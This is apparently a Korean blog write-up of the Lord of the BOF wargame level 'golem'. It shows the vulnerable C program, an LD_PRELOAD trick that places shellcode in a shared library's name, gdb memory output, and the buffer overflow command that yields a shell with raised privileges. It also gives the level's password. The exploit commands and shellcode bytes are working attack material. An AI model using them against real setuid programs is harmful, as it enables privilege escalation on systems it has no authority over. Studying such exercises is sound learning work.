ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOB] skeleton
    hacking 2021. 9. 4. 18:32
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - golem
            - stack destroyer
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// stack destroyer!
           	memset(buffer, 0, 44);
    	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
    }

    buffer와 ret를 제외한 buffuer이후 memory들을 초기화 한다

    고로 buffer 이전 메모리 공간 밖에 활용을 하지 못한다

     

    전혀 감을 못잡다가 LD_PRELOAD라는 키워드를 듣고 시작할 수 있었다

     

    LD_PRELOAD
     is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library

     

    간단히 공유 라이브러리라고 할 수 있는데 다른 공유 라이브러리보다 먼저 로드된다

     

    공유 라이브러리 영역은 heap과 stack영역 사이에 있어서 이번 문제에서 초기화하는 영역이 아니다

     

    LD_PRELOAD에 등록할 라이브러리명에 shellcode를 올리고

    그쪽으로 ret를 돌리면 된다

     

    [skeleton@localhost skeleton]$ gcc -fPIC -shared shell.c -o `python -c 'print "\x90" * 100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

     

    gdb로 shellcode가 올라간 addr을 찾아내자

    main의 ebp 이전 메모리 공간을 보면 된다

     

    0xbffff5ac:	0xbffff784	0x4000380e	0x40014478	0x6d6f682f
    0xbffff5bc:	0x6b732f65	0x74656c65	0x902f6e6f	0x90909090
    0xbffff5cc:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffff5dc:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffff5ec:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffff5fc:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffff60c:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffff61c:	0x90909090	0x90909090	0x90909090	0xeb909090
    0xbffff62c:	0xc9315e11	0x6c8032b1	0x8001ff0e	0xf67501e9
    0xbffff63c:	0xeae805eb	0x32ffffff	0x306951c1	0x69697430

    0xbffff5dc

     

    [skeleton@localhost skeleton]$ ./golem `python -c 'print "A" * 44 + "\xdc\xf5\xff\xbf"'`
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAݵÿ¿
    bash$ id 
    uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
    bash$ my-pass
    euid = 511
    cup of coffee

     

    golem / cup of coffee

    'hacking' 카테고리의 다른 글

    [DH] baby-linux  (0) 2024.07.26
    [LOB] vampire  (0) 2021.09.03
    [FTZ] level 2  (0) 2021.09.01
    [LOB] troll  (0) 2021.08.31
    [LOB] orge  (0) 2021.08.30

    댓글

Designed by Tistory.